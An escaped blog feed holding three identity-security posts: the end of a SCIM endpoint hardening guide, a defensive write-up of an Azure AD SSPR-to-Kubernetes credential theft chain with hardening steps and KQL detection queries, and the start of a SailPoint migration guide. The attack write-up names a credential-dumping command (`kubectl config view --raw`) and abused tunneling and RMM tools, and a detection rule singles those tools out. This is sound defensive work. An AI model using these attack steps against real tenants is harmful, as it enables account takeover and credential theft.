            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;ScimError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;path &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; requires scim:admin-write&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember that a PATCH without a &lt;code&gt;path&lt;/code&gt; carries attributes inside &lt;code&gt;value&lt;/code&gt;, so inspect those keys too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Control 5: Turn Bulk Off, or Bound It
&lt;/h2&gt;

&lt;p&gt;The Bulk endpoint (&lt;code&gt;POST /Bulk&lt;/code&gt;, RFC 7644 section 3.7) lets a client send many operations in one request. It is optional. Most IdP connectors do not use it, so the safest configuration is often to disable it and say so in discovery:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"bulk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"supported"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"maxOperations"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"maxPayloadSize"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you do enable it, publish and enforce limits, for example &lt;code&gt;maxOperations: 100&lt;/code&gt; and &lt;code&gt;maxPayloadSize: 1048576&lt;/code&gt;. Two details matter. First, each operation inside a bulk request must pass the same authorization as the standalone request, because it is easy to check the token once at the top and then skip per-operation policy. Second, &lt;code&gt;bulkId&lt;/code&gt; cross-references let one operation refer to another's result; reject cycles and cap resolution depth so a crafted payload cannot make the server loop.&lt;/p&gt;

&lt;h2&gt;
  
  
  Control 6: Log Every Mutation and Alert on Anomalies
&lt;/h2&gt;

&lt;p&gt;Even a well-built endpoint will eventually see a leaked token. What you want is detection within minutes. Write a structured audit event for every create, patch, delete and bulk operation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-10-06T14:02:11Z"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"actor"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"scim-token:3f9a1c"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tenant"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"t-1042"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"op"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PATCH"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Users/2819"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"paths"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"active"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"src_ip"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"203.0.113.25"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"result"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Useful alerts that cost almost nothing to run:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Read volume:&lt;/strong&gt; more than a few times the normal number of &lt;code&gt;GET /Users&lt;/code&gt; pages per hour for one token.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;New source IP:&lt;/strong&gt; a token that has only ever called from the IdP's published ranges suddenly appearing elsewhere.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privileged path writes:&lt;/strong&gt; any &lt;code&gt;roles&lt;/code&gt; or &lt;code&gt;groups&lt;/code&gt; change by a non-admin token.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mass deactivation:&lt;/strong&gt; a burst of &lt;code&gt;active: false&lt;/code&gt; is both an outage and a possible destructive attack.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Off-schedule creation:&lt;/strong&gt; &lt;code&gt;POST /Users&lt;/code&gt; outside the connector's normal sync window.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the endpoint is meant to be called by software, a baseline is easy to establish. A real IdP connector is very regular, and anything irregular stands out.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Quick Self-Audit Checklist
&lt;/h2&gt;

&lt;p&gt;Run this against a test tenant before you ship or after you inherit an integration:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Pass condition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;count=100000&lt;/code&gt; request&lt;/td&gt;
&lt;td&gt;Returns at most your page cap&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token scope&lt;/td&gt;
&lt;td&gt;Cannot read users from another tenant or app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;password&lt;/code&gt; and secrets&lt;/td&gt;
&lt;td&gt;Absent from every response&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Injection probe in &lt;code&gt;filter&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;totalResults&lt;/code&gt; is 0, no 5xx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PATCH &lt;code&gt;roles&lt;/code&gt; with a profile-only token&lt;/td&gt;
&lt;td&gt;403 and an audit entry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;/Bulk&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Disabled, or limits enforced per operation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovery endpoints&lt;/td&gt;
&lt;td&gt;Reveal nothing internal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Audit log&lt;/td&gt;
&lt;td&gt;Every write recorded with actor and source IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Token rotation&lt;/td&gt;
&lt;td&gt;Documented procedure, tested overlap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  What to Do If a Token Leaks
&lt;/h2&gt;

&lt;p&gt;Rotate first, investigate second. Issue a new token, update the IdP connector, revoke the old one, then review the audit log for the window since the token was last known safe. Look specifically for reads that exceed the normal sync pattern, new accounts you did not provision, and privileged-path changes. Disable any account created or elevated outside the normal flow and force credential reset where a password could have been set. This is also the moment to move the integration to short-lived OAuth credentials if the connector allows it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;SCIM endpoints rarely fail through exotic bugs. They fail because a directory API was given a single static credential with tenant-wide scope, no result cap, and write access to roles. Apply the six controls above, token scope, pagination and filter limits, attribute-level returns, PATCH authorization, bounded Bulk and audit logging, and a leaked token becomes a contained, detectable event. For the protocol basics and sample server code, see our &lt;a href="https://dev.to/posts/implementing-scim-20-for-user-provisioning-and-deprovisioning/"&gt;SCIM 2.0 implementation guide&lt;/a&gt;, and use the &lt;a href="https://dev.to/tools/jwt-decode/"&gt;JWT decoder&lt;/a&gt; to inspect the claims on any OAuth-based SCIM access tokens you issue.&lt;/p&gt;

</description>
      <category>scim</category>
      <category>provisioning</category>
      <category>apisecurity</category>
      <category>iam</category>
    </item>
    <item>
      <title>Storm-3068: How SSPR Abuse Turns One Azure AD Account Into Kubernetes Credential Theft</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 02 Oct 2026 00:17:42 +0000</pubDate>
      <link>https://dev.to/iamdevbox/storm-3068-how-sspr-abuse-turns-one-azure-ad-account-into-kubernetes-credential-theft-41h0</link>
      <guid>https://dev.to/iamdevbox/storm-3068-how-sspr-abuse-turns-one-azure-ad-account-into-kubernetes-credential-theft-41h0</guid>
      <description>&lt;p&gt;Microsoft disclosed in September 2026 that a threat actor tracked as &lt;strong&gt;Storm-3068&lt;/strong&gt; compromised a single Azure AD identity through self-service password reset (SSPR) abuse, then pivoted through Azure DevOps pipelines to steal Kubernetes cluster credentials — ultimately exfiltrating seven kubeconfig files and gaining access to more than 50 downstream resources from one initial account takeover. No password spray, no zero-day: just SSPR, MFA re-registration, and pipeline permissions that were already too broad. This is the exact attack chain and the controls that close each step.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Attack Chain, Step by Step
&lt;/h2&gt;

&lt;p&gt;Storm-3068's campaign worked because each individual step abuses a legitimate feature, not a vulnerability:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;SSPR takeover&lt;/strong&gt; — The attacker completed a self-service password reset on a target user account, most likely after obtaining the account's recovery information through a prior phishing or credential-stuffing attempt elsewhere.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Device registration&lt;/strong&gt; — Immediately after the password reset, the attacker registered an attacker-controlled device and onboarded it into Microsoft Intune using the now-compromised identity, giving the device a trusted posture in the tenant.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MFA hijack&lt;/strong&gt; — The attacker registered their own MFA method on the account and removed the legitimate user's MFA method, converting a one-time credential theft into persistent, re-authenticatable account control.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Azure DevOps reconnaissance&lt;/strong&gt; — Using the now fully-controlled identity, the attacker enumerated Azure DevOps repositories, pipelines, deployment environments, and connected service resources — all through normal, logged, authenticated API calls.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pipeline weaponization&lt;/strong&gt; — The attacker created or modified Azure DevOps pipelines to run a Kubernetes agent step, using the pipeline's own service connection permissions to pull &lt;code&gt;kubectl config view --raw&lt;/code&gt; output and commit the resulting kubeconfig files into a repository. One malicious pipeline alone was authorized to touch more than 50 resources.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tooling for persistence&lt;/strong&gt; — The attacker modified pipelines further to deploy the &lt;strong&gt;Atera&lt;/strong&gt; remote monitoring agent (legitimate RMM software, abused for remote access) and &lt;strong&gt;Chisel&lt;/strong&gt; (a TCP/UDP tunneling tool), using Chisel to proxy Kubernetes API traffic back to attacker infrastructure.&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why this matters more than a typical phishing writeup&lt;/strong&gt;: every step after the initial SSPR abuse used only legitimate product features — Intune enrollment, pipeline authoring, service connections. There's no malware signature to catch. The defense has to be permission boundaries and anomaly detection, not endpoint protection.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Fix 1: Lock Down Self-Service Password Reset
&lt;/h2&gt;

&lt;p&gt;The entry point is SSPR completed without device or location context. Require a trusted signal before SSPR can succeed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Entra Admin Center → Protection → Conditional Access → New Policy

Name: Require Compliant Device for SSPR
Assignments:
  Users: All users
  Target resources: User flows → Self-service password reset
Conditions:
  Device platforms: Any (do not exclude)
Grant:
  Require device to be marked as compliant
  OR Require Microsoft Entra hybrid joined device
Enable policy: On
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your organization can't mandate compliant devices for all users, scope this policy to admin roles and service-account owners first — those are the identities whose compromise lets an attacker reach Azure DevOps and production infrastructure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix 2: Alert on MFA Method Changes, Not Just Sign-Ins
&lt;/h2&gt;

&lt;p&gt;Storm-3068's persistence step — removing the legitimate MFA method and registering a new one — is the highest-signal, lowest-noise detection point in the whole chain. Most tenants log this event but don't alert on it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Microsoft Sentinel / Log Analytics
AuditLogs
| where TimeGenerated &amp;gt; ago(1d)
| where OperationName in ("User registered security info", "User deleted security info", "Admin deleted security info")
| extend TargetUser = tostring(TargetResources[0].userPrincipalName)
| extend ActorUser = tostring(InitiatedBy.user.userPrincipalName)
| where TargetUser == ActorUser  // self-service change, not admin-initiated
| project TimeGenerated, OperationName, TargetUser, Result,
          IPAddress = tostring(parse_json(tostring(AdditionalDetails))[0].value)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pair this with a rule that fires when an MFA method deletion is followed within minutes by a new method registration from a different IP or device fingerprint than the account's historical baseline — that sequence is exactly what converts a one-time SSPR compromise into standing access.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix 3: Audit and Scope Azure DevOps Service Connections
&lt;/h2&gt;

&lt;p&gt;The pipeline-to-Kubernetes pivot only works because service connections are frequently granted broader scope than any single pipeline needs. List what each pipeline can actually touch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# List all service connections in a project&lt;/span&gt;
az devops service-endpoint list &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--org&lt;/span&gt; https://dev.azure.com/&amp;lt;your-org&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--project&lt;/span&gt; &amp;lt;project-name&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"[].{name:name, type:type, authScheme:authorization.scheme, allPipelines:isShared}"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; table

&lt;span class="c"&gt;# Check which pipelines are authorized to use a given connection&lt;/span&gt;
az devops service-endpoint show &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--org&lt;/span&gt; https://dev.azure.com/&amp;lt;your-org&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--project&lt;/span&gt; &amp;lt;project-name&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--id&lt;/span&gt; &amp;lt;service-connection-id&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--query&lt;/span&gt; &lt;span class="s2"&gt;"serviceEndointProjectReferences"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Harden the settings that matter most:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Disable "Grant access permission to all pipelines"&lt;/strong&gt; on every Kubernetes/cluster service connection — require explicit per-pipeline authorization instead.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scope each connection to one cluster/namespace&lt;/strong&gt;, not a subscription-wide or multi-cluster service principal. A pipeline that deploys to &lt;code&gt;staging&lt;/code&gt; should not hold credentials that can read &lt;code&gt;production&lt;/code&gt; kubeconfig.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Require pipeline YAML to come from a protected branch&lt;/strong&gt; (&lt;code&gt;Approvals and checks → Branch control&lt;/code&gt;) so an attacker with repo write access can't redefine what a trusted pipeline does.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Fix 4: Rotate and Restrict Kubernetes Credentials at the Source
&lt;/h2&gt;

&lt;p&gt;Even with pipeline scoping, assume any kubeconfig that ever transited a CI/CD system should be treated as short-lived, not standing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Prefer workload identity federation over long-lived kubeconfig secrets&lt;/span&gt;
az aks update &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--resource-group&lt;/span&gt; &amp;lt;rg&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; &amp;lt;cluster-name&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--enable-oidc-issuer&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--enable-workload-identity&lt;/span&gt;

&lt;span class="c"&gt;# Audit existing service account tokens for long expiry&lt;/span&gt;
kubectl get secrets &lt;span class="nt"&gt;--all-namespaces&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; json | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.items[] | select(.type=="kubernetes.io/service-account-token") | .metadata.namespace + "/" + .metadata.name'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Projected, short-lived service account tokens (the Kubernetes default since 1.24+) expire in an hour by default — a kubeconfig stolen via a malicious pipeline run is far less useful to an attacker than a long-lived static credential. For the broader pattern of replacing long-lived cluster credentials with certificate-based workload identity, see our &lt;a href="https://dev.to/posts/mtls-certificate-authentication-microservices-kubernetes/"&gt;mTLS Certificate Authentication for Kubernetes Microservices&lt;/a&gt; guide. If your cluster still issues long-lived service account secrets for CI/CD, migrating off them is the first priority.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix 5: Hunt for the Persistence Tooling
&lt;/h2&gt;

&lt;p&gt;Atera and Chisel are both legitimate tools being abused here, which means signature-based AV won't flag them. Hunt for their network and process fingerprints directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;// Flag non-browser outbound connections from build agents
DeviceNetworkEvents
| where TimeGenerated &amp;gt; ago(7d)
| where DeviceName has_any ("build", "agent", "runner", "devops")
| where RemoteUrl has "atera.com"
   or (InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","svchost.exe")
       and RemotePort !in (443, 80)
       and Protocol == "Tcp")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, RemoteUrl, RemotePort
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any hit on a self-hosted Azure DevOps agent or build runner warrants immediate isolation — neither Atera nor Chisel has a legitimate reason to run inside a CI/CD execution environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Incident Response Checklist
&lt;/h2&gt;

&lt;p&gt;If you find evidence of this attack chain in your tenant, Microsoft's containment guidance comes down to five actions, in order:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Disable the compromised identity&lt;/strong&gt; and force a credential reset through an out-of-band channel (not SSPR).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Remove all attacker-registered MFA methods and devices&lt;/strong&gt; — don't just reset the password; the attacker's second factor is the real persistence mechanism.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Revoke and reissue every credential that touched an affected pipeline&lt;/strong&gt; — kubeconfig files, service connection secrets, and any PATs (personal access tokens) the compromised identity could have generated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Audit and delete unauthorized pipelines, pipeline modifications, and service connections&lt;/strong&gt; created or altered during the compromise window.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate cluster-level credentials&lt;/strong&gt; (not just the stolen kubeconfig) if there's evidence the attacker reached the Kubernetes API directly — assume the kubeconfig's embedded certificate or token was used, not just copied.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This campaign is a reminder that identity-layer hardening — SSPR, MFA method integrity, and pipeline permission scoping — now sits upstream of Kubernetes security, not alongside it. For the OAuth-specific variant of credential theft through social engineering rather than pipeline abuse, see our &lt;a href="https://dev.to/posts/oauth-device-code-flow-security-prevent-device-code-phishing/"&gt;OAuth Device Code Phishing defense guide&lt;/a&gt;; for broader non-human credential hygiene across CI/CD systems, see &lt;a href="https://dev.to/posts/nhi-secrets-sprawl-fixing-the-non-human-identity-credential-crisis/"&gt;NHI Secrets Sprawl&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>azuread</category>
      <category>entraid</category>
      <category>kubernetes</category>
      <category>azuredevops</category>
    </item>
    <item>
      <title>SailPoint IdentityIQ vs IdentityNow (ISC): Migration Guide for 2026</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Wed, 23 Sep 2026 00:07:23 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-vs-identitynow-isc-migration-guide-for-2026-1k8f</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-vs-identitynow-isc-migration-guide-for-2026-1k8f</guid>
      <description>&lt;p&gt;migrati-ce3a48ae.webp&lt;br&gt;
  alt: "SailPoint IdentityIQ vs IdentityNow (ISC): Migration Guide for 2026"&lt;/p&gt;

&lt;h2&gt;
  
  
    relative: false
&lt;/h2&gt;

&lt;p&gt;Search "identityiq vs identitynow" today and most of what comes back is already out of date twice over. SailPoint renamed IdentityNow to Identity Security Cloud (ISC) in March 2024, and then renamed ISC itself to &lt;strong&gt;SailPoint Human Fabric (SHF)&lt;/strong&gt; at Black Hat USA in August 2026 — same SaaS platform, third name in a little over two years. IdentityIQ, the on-premises product, kept its name throughout. If you're deciding whether to migrate an existing IIQ deployment, or scoping a new implementation and choosing between the two, the naming churn is the least of your problems — the real differences are architectural, and they hit hardest in exactly the area this site's SailPoint series has covered in depth: &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell rule customization&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This guide covers what actually changes in an IdentityIQ-to-cloud migration, what doesn't have a direct migration path, and how to decide which platform a new deployment should start on.&lt;/p&gt;

&lt;h2&gt;
  
  
  One Platform, Three Names
&lt;/h2&gt;

&lt;p&gt;For clarity going forward: IdentityNow, Identity Security Cloud, and SailPoint Human Fabric are the same underlying multi-tenant SaaS product at three points in its branding history. The core governance capabilities — identity profiles, access certifications, provisioning workflows, lifecycle states — carried forward through both renames without a rebuild. Human Fabric layers real-time governance and deeper identity-graph capabilities on top of the ISC foundation, and ships alongside a separate but related product, &lt;strong&gt;Agentic Fabric&lt;/strong&gt;, for governing AI agent and non-human identities specifically.&lt;/p&gt;

&lt;p&gt;Practically, this means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Job postings, RFPs, and older documentation referencing "IdentityNow" are describing the same product family you'd deploy today as Human Fabric.&lt;/li&gt;
&lt;li&gt;SailPoint's developer documentation and API endpoints largely still use &lt;code&gt;identitynow&lt;/code&gt; and &lt;code&gt;isc&lt;/code&gt; in URLs and package names — the rebrand is a product/marketing name change, not (yet) a wholesale API rename.&lt;/li&gt;
&lt;li&gt;This guide uses "IdentityNow/ISC" interchangeably with "Human Fabric" since that's still the dominant search term, but treat them as the current product when you see either.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IdentityIQ, by contrast, is the on-premises (or self-managed IaaS) Java application most of this site's SailPoint content is written against — deployed as a WAR file, configured through &lt;code&gt;iiq console&lt;/code&gt; and BeanShell rules, backed by a database schema you control directly (&lt;code&gt;spt_identity&lt;/code&gt;, &lt;code&gt;spt_certification_item&lt;/code&gt;, and the rest of the &lt;code&gt;spt_&lt;/code&gt; tables covered in our &lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;aggregation troubleshooting guide&lt;/a&gt;).&lt;/p&gt;

&lt;h2&gt;
  
  
  Architectural Differences That Actually Matter
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;IdentityIQ&lt;/th&gt;
&lt;th&gt;IdentityNow / ISC / Human Fabric&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Deployment&lt;/td&gt;
&lt;td&gt;Self-hosted WAR (on-prem or IaaS)&lt;/td&gt;
&lt;td&gt;Multi-tenant SaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Infrastructure ownership&lt;/td&gt;
&lt;td&gt;You patch, scale, back up the database&lt;/td&gt;
&lt;td&gt;SailPoint operates it&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Customization&lt;/td&gt;
&lt;td&gt;Unrestricted BeanShell (~200 rule types)&lt;/td&gt;
&lt;td&gt;Sandboxed Cloud Rules (fewer than 20 types) + Transforms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Connector execution&lt;/td&gt;
&lt;td&gt;In-process Java connectors, direct DB/LDAP access&lt;/td&gt;
&lt;td&gt;Virtual Appliance (VA) or SaaS-native connectors&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Console/admin access&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;iiq console&lt;/code&gt;, direct database queries&lt;/td&gt;
&lt;td&gt;Admin UI + REST API + &lt;code&gt;sp-config&lt;/code&gt; for object export/import&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Upgrade model&lt;/td&gt;
&lt;td&gt;You schedule and run version upgrades&lt;/td&gt;
&lt;td&gt;Continuous, SailPoint-managed releases&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The deployment-model row gets the most attention in vendor marketing, but for a team migrating an existing IIQ deployment, the customization row is where the actual engineering work lives.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why BeanShell Rules Are the Hardest Migration Problem
&lt;/h2&gt;

